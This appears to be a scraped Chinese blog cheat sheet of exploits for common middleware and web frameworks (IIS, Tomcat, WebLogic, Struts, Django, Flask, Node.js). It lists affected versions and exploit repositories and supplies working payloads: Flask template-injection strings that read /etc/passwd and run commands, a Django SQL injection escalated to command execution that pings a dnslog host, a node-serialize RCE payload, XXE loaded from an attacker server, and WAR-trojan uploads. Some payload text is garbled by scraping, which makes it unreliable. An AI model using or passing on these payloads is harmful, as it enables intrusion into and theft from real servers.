【合集】常见中间件漏洞

1. IIS

1. PUT漏洞

用户配置不当,exp:https://github.com/hackping/HTTPMLScan.git

2. 短文件名猜解

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
exp:https://github.com/WebBreacher/tilde_enum

3.远程代码执行(CVE-2017-7269))

**exp**:https://github.com/zcgonvh/cve-2017-7269

4. 解析漏洞

iis6.0畸形解析:asa、cer
iis6.0目录解析:/test.asp/test.jpg
iis6.0文件解析:test.asp;.jpg
IIS7.5文件解析:test.jpg/.php

2. Apache

  1. 解析漏洞
    用户配置不当,如1.php.biubiu会被当成php文件执行
  2. 目录遍历
    用户配置不当,扫描到目录直接访问即可
  3. 未授权访问漏洞
    • shiro未授权访问漏洞(CVE-2020-1957)
      影响版本

    shiro 1.5.2版本以下
    poc:构造/目标/..;/admin即可进入后台`

  4. rce
    • Apache Ofbiz XMLRPC RCE(CVE-2020-9496)

    影响版本
    Apache Ofbiz:< 17.12.04
    poc步骤
    step1:
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "你的指令" | base64 | tr -d '\n'
    step:放入下面xml 中

    
    
    ping
    
        
        test
        
    
    
    
  5. 反序列化
    • Dubbo 2.7.6 反序列化漏洞(CVE-2020-1948)

    影响版本
    Dubbo 2.7.0 to 2.7.6
    Dubbo 2.6.0 to 2.6.7
    Dubbo all 2.5.x versions (not supported by official team any longer)
    exp:https://github.com/ctlyz123/CVE-2020-1948.git

3. Nginx

1. 文件解析

用户配置不当,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如`1.png/.php`

2. 目录遍历

用户配置不当,扫描到目录直接访问即可

3. CRLF注入

CRLF是”回车 + 换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP Header与HTTP
Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP
消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP
Response Splitting,简称HRS。
- 会话固定漏洞
构造如下链接http://目标%0aSet-Cookie:sessionid=ghtwf01
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QBsogXDK-1606965591497)(res/2020-11-30-14-16-35.png)]

    可用于社工让管理员点击,有可能会获得管理员权限。
- 通过CRLF注入消息头引发反射型XSS漏洞  
    构造`http://目标%0d%0a%0d%0a`

4. 目录穿越

用户配置不当,可通过`../`遍历

4. Tomcat

  1. 任意文件上传
    • cve-2017-12615

    影响范围
    Apache Tomcat 7.0.0 - 7.0.81
    exp:https://raw.githubusercontent.com/zhzyker/exphub/master/tomcat/cve-2017-12615_cmd.py

  2. 文件读取/包含漏洞
    • CVE-2020-1938
      影响范围

      Apache Tomcat 6
      Apache Tomcat 7 < 7.0.100
      Apache Tomcat 8 < 8.5.51
      Apache Tomcat 9 < 9.0.31
      exp:https://github.com/0nise/CVE-2020-1938

  3. 反序列化漏洞
    • CVE-2020-9484

    影响范围
    <= 9.0.34
    <= 8.5.54
    <= 7.0.103
    exp:https://github.com/masahiro331/CVE-2020-9484.git

  4. 进程注入
    • cve没查到
      exp:https://github.com/rebeyond/memShell
  5. war后门文件部署
    后台上传即可

5. jBoss

  1. 反序列化漏洞
    • CVE-2017-12149

    影响范围
    Jboss AS 5.x/6.x
    exp
    https://github.com/yunxu1/jboss-_CVE-2017-12149

  2. war后门文件部署
    后台上传war格式木马即可

6. WebLogic

  1. 反序列化漏洞
    • CVE-2016-3510

      影响范围
      Oracle WebLogic Server如下版本
      12.2.1.0
      12.1.3.0
      12.1.2.0
      10.3.6.0
      exp 在后面

    • CVE-2020-2551: Weblogic IIOP反序列化漏洞分析

      影响范围
      Oracle Weblogic Server如下版本
      10.3.6.0.0
      12.1.3.0.0
      12.2.1.3.0
      12.2.1.4.0
      14.1.1.0.0
      exp 在后面

  2. ssrf
    • CVE-2014-4210

      影响版本
      10.0.2
      10.3.6
      exp 在后面

  3. 任意文件上传/读取
    • 任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)

      影响范围
      Oracle Weblogic Server如下版本
      10.3.6.0.0
      12.1.3.0.0
      12.2.1.3.0
      注意:该漏洞需要用户名密码的认证才可利用。
      exp 在后面

  4. 远程代码执行漏洞
    • Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)

      Oracle Weblogic Server如下版本
      10.3.6.0.0
      12.1.3.0.0
      12.2.1.3.0
      12.2.1.4.0
      14.1.1.0.0
      上述exp地址 :https://github.com/0xn0ne/weblogicScanner

  5. war后门文件部署
    进入后台,上传war 格式木马即可

7. struts

  1. 代码执行

    影响版本
    S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16
    S2-048 CVE-2017-9791 Struts 2.3.X
    S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
    S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
    S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1
    S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28
    S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16
    S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1
    S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15
    S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14
    S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1
    S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1
    exp地址:https://github.com/Lucifer1993/struts-scan
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bzF1Lbmv-1606965591499)(res/2020-11-30-10-30-39.png)]

8. java spring

1

. Jolokia xxe
poc
step1:构造文件
第一个文件 logback.xml %remote;%int;]> &trick; 构造第二个文件 fileread.dtd ">
step2: 将两个文件传入公网服务器
step3:访问目标/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/你的服务器!/logback.xml
2. Jolokia rce
exp项目地址

9. python

1. flask-ssti


> ```python2
>     ```
>     #读文件
>     `{
    {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}`
> 
>     {
    {''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
>     #写文件
>     {
    { ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
>     #执行指令
>     {
    {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
> 
>     {
    {''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
> 
>     {
    {().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
>     ```
>     python3  
>     ```
>     #文件读取
>     {
    {().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
>     #任意执行
>     {
    {().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

```

**2. Django-JSONfield-sql注入(CVE-2019-14234)**

 

>    **影响版本**  
> >Django  
> >1.11.x before 1.11.23  
> >2.1.x before 2.1.11  
> >2.2.x before 2.2.4   poc `http://目标/admin/vuln/collection/?detail__title')='1' or 1=1--`

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112341527.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)

结合**CVE-2019-9193**构造
**?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20**

因为是无回显执行,使用**ping**命令结合**dns_log**判断是否执行
**?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping just.erh3bt.dnslog.cn'--%20**

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112454610.png)


**3. Django debug page XSS漏洞**
    直接访问`目标/create_user/?username=`  
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112505295.png)

再次访问

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112511764.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)


**4. Django url 跳转漏洞(CVE-2018-14574)**

>     影响版本
>     >1.11.0 <= version < 1.11.15   
>     >2.0.0 <= version < 2.0.8

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112656917.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201203112545699.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hhY2t6a2Fx,size_16,color_FFFFFF,t_70)

## 10. node.js

**1. 反序列化RCE漏洞**
C

VE-2017-5941
poc:(***执行 ls /***)
var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y));
生成结果如下
Serialized: {"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}


注意,最后一个双引号前要补一个()
最终结果如下

{“rce”:"_ N D F U N C ND_FUNC NDFUNC_function(){\n require(‘child_process’).exec(‘ls /’, function(error, stdout, stderr) { console.log(stdout) });\n }()"}
`

  • CVE-2017-14849
    影响版本

    Node.js 8.5.0 + Express 3.19.0-3.21.2
    Node.js 8.5.0 + Express 4.11.0-4.15.5
    使用burp抓包构造/static/../../../a/../../../../etc/passwd 即可。

黑客渗透视频教程,扫码免费领

【合集】常见中间件漏洞_第1张图片

你可能感兴趣的:(【合集】常见中间件漏洞)